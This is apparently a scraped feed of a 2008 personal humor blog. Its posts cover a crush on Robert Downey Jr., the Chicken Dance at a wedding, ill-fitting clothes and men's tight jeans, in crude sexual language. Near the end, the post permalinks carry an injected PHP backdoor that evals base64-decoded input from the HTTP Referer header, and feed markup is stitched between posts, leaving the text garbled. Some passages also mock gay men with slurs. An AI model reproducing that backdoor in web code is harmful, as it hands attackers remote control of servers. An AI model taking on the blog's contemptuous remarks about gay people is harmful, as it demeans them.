I was tempted to limit my post to that one sentence, but I thought it would be a waste. I mean, with so many words in the English language, surely I could expound on my feelings for this man (no offense Jan, but you know how it is).

Last Saturday Jan and I made plans to go to dinner, then see Iron Man afterwards. Needless to say I was pretty pumped about the whole evening. We wound up going to Marie Callendars where I gorged myself on their sinfully delicious Chicken Fettuccine Alfredo. My God that dish is good. If you want to know what it feels like to have your taste buds reach a level of euphoria known only to the few strong enough to survive such pleasure, then I suggest you order this entree next time you make it into one of these fine establishments (Best. Sentence. Ever). The sauce was full of flavor and so rich and creamy, the chicken was delicious and tender, the pasta cooked to perfection. Yeah, it was definitely some good shit. I could practically feel my arteries closing up as I shoveled bite after bite into my greasy face. But fuck it. My mom always said I would die with a full stomach, and dammit she’s right. It’s no secret I love a good meal.

Now what was I talking about again? Oh that’s right, Hottie Downey, Jr.

Iron Man was a kickass movie. But what really drove it home was the 2 hours of uninterrupted hot man meat. Robert Downey, Jr. looked… yummy. He’s one of a few actors I let myself have a crush on, and seeing him on the big screen was enough to make me moist. That’s right: MOIST. As in ready to… you know. I could hardly contain myself when, in one scene, he donned a tank top that left his hair slightly tousled. It was all I could do to keep from drooling as I imagined what it would be like to lick the sweat from his biceps and run my hands through his luxurious hair. Being able to freely gaze upon him with lust-filled eyes was like an intense optical orgasm. Every blink that deprived me of his illustrious form was a nanosecond of pure torture. Yes, he is THAT sexy and worth every moment of this girl’s fantasies. The man is delicious, fuckable, and an Adonis. He can put his memory stick in my USB port any day.

In another lifetime I could have given him more, but let this serve as my shining beacon of desire – seen even in the darkest corners of the Internets:

*****

Am I too old to have a crush? Seriously, don’t laugh.

That’s where I was this past weekend, by the way: At a wedding. We drove up to Sacramento to see one of Jan’s brothers get hitched (”we” being me, Jan, and his parents). The drive was long (8 hours) and definitely not something I’m in a hurry to do again. I’ll spare you the details of how my legs got so cramped I contemplated sawing them off or how I suffered a horrendous attack of gas. That shit was brutal. I wound up holding in farts until we passed groupings of cows out to pasture. Once we were close enough, I would silently ease out a few torpedoes and hope the other 3 people in the car blamed the smell on “manure”. I could have gotten away with doing this the rest of the trip if I hadn’t made the mistake of letting one go as we drove past some orange trees. Apparently oranges don’t smell like dookie.

The wedding and reception was held at a winery… AND there was an open bar. Now how awesome is that? It’s not everyday I’m compelled to test the limits of my liver. And I just love the phrase “open bar”, just saying those words sends a tingle to my special place.

Open bar.

Ahhhh.

Some people seem to think certain behavior becomes acceptable because of the kind of venue you’re at. And for the most part I can agree with that. I have done several things I didn’t want to think about the next day all in the name of celebration and having a good time. In fact, this brings me to the heart of today’s post. There is one thing done at most receptions I ALWAYS participate in, but feel a great amount of shame for having done so the next day. For some reason this particular activity has some sort of draw I cannot ignore, try as I might.

And what is it, you ask?

…

The Chicken Dance.

Don’t act like you don’t know what I’m talking about.

Refresh your memory…

If you possess memory of having done this dance, it’s OK. I’m not going to judge you. And how could I when I have done it myself? I know it’s supposed to be “fun” and that everyone is supposed to get a good laugh out of it, but after I have shaken more tail feathers than I care to admit, I always feel a little dead inside. This is quite possibly the dorkiest fuckin’ dance ever. And yet… I do it. I have the same reaction to the Electric Slide. Once I hear that’s about to go down, you best believe my ass is on the dance floor in a prominent spot. Not only do I LOVE this dance, I do it well and put everyone else and their groove thang to shame. But this… Chicken Dance, is evil. When I see people doing it on TV, nothing but scorn is felt towards them. Yet, in person, when I hear that light-hearted Polka music signifying the start of this “craze” I’m out of my seat and making “beak” hand gestures before I even hit the dance floor. I’m amazed how I live with myself after such displays.

So let this be the first step in overcoming my problem:

It doesn’t matter how you slice it, this dance is pretty fuckin’ gay. Shame on us as a species for creating something so horrid.

Now if you’ll excuse me, I’d like to continue my penance of whipping myself.

*Photo courtesy of Mike Babcock

*****

I wonder how these peeps feel about the Chicken Dance?

This has to stop. People need to realize when an outfit is just not working.

Being quite buxom (*ahem*), I have a hard time finding button-down shirts that fit well and don’t make my breasts look as if they are bustin’ out of jail. But I’m honest enough to know when a top isn’t going to cut it. If the amount of pressure applied to a button is enough to wrench it from the shirt and embed it in a piece of steel, I pass on the purchase. I often wonder if other people worry about stuff like this. Can you imagine a wayward button taking out some unsuspecting granny? Or what about an innocent child waiting to be picked up and driven home? I just couldn’t live with myself knowing my vanity or refusal to embrace reality caused someone else harm. And yet others carelessly walk around in clothing that poses a potential threat to bystanders. It boggles the mind, it does.

But why don’t people know how bad they look? When someone has on pants that forces their love handles to ooze over the sides, is it really necessary to have to tell them about it? They can’t see or FEEL that? When someone has on a shirt that bares the midriff, but their gut hangs over and holds court in their lap… they don’t notice that? This thumbing of the nose at all fashion-related common sense angers me. How dare they abuse those poor clothes. I say we start arresting people for the attempted murder of cotton and polyester or at least for being a nuisance to society . Not only are these kinds of people delusional, they are offensive to watch, AND at any moment a clasp or button can shoot off and knock someone unconscious (this is a real concern of mine, there’s nothing heroic in a death like that).

I hate to do this, but:

Let’s get it together, people.

*****

I think they get the message at humor-blogs.

]]> http://www.jillianapproved.com/2008/05/05/facing-facts-when-it-doesnt-fit/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 34 http://www.jillianapproved.com/2008/02/26/jillian-and-what-not-to-wear/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.jillianapproved.com/2008/02/26/jillian-and-what-not-to-wear/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 26 Feb 2008 07:45:00 +0000 Jillian http://www.jillianapproved.com/2008/02/jillian-and-what-not-to-wear/ Why do guys think it’s OK to wear bottoms tight enough to strangle a flea?

Seriously, what’s up with the “banana smugglers”? I know in the past, it was HOT for a man to wear skin tight trousers. But not so much today. Males who wear “nut busters” are an aberration and frankly, I despise them. These “sack grabbers” aren’t flattering in any way, they’re not cute, and I don’t care how many chicks you’ve banged, they are very much unacceptable.

CEASE AND DESIST!

It wasn’t until I watched an episode of “American Idol” where Danny Noriega [in all his gayness], provided the straw that broke the camel’s back. Not only was his performance of Elvis Presley’s “Jailhouse Rock” awful, but he had on slacks so snug I’m sure the circulation to his pre-pubescent manhood was cut off. Now it’s true Danny might love the cock, but the problem I speak of is not just relegated to young boys who enjoy feeling each other up. No, this is a MAN problem and something needs to be done.

I think any guy who so much as considers slipping into “butt huggers” should be slapped with a violation of Man Law. His Masculine Card should be revoked and he should be forced to buy dresses, since he obviously wants to be a girl.

But really, when did this become OK?

I’m all for new fads in fashion, but my support stops when guys are able to borrow their girlfriend’s jeans, “Hey honey, you gonna wear these?”. Now maybe I’m blinded by a personal preference for the SUPER STRAIGHT & MANLY, but I can’t see how wearing “nut clenchers” is acceptable if you aren’t a stripper or male prostitute. I guess I’m a bit old-fashioned when it comes to Mens’ apparel; I just don’t want to see a guy wearing the same shit I do. When I’m walking behind a couple, I shouldn’t have a problem identifying the male counterpart.

MAKE IT STOP!

Instead of all this hoopla over Global Warming, let’s spend our time and money re-introducing the misguided parts of the male species to the concept of “relaxed” fit jeans. I’d consider that dollars well spent.

And just so we’re clear:

*****

I’m sure the people over at humor-blogs display a great sense of fashion!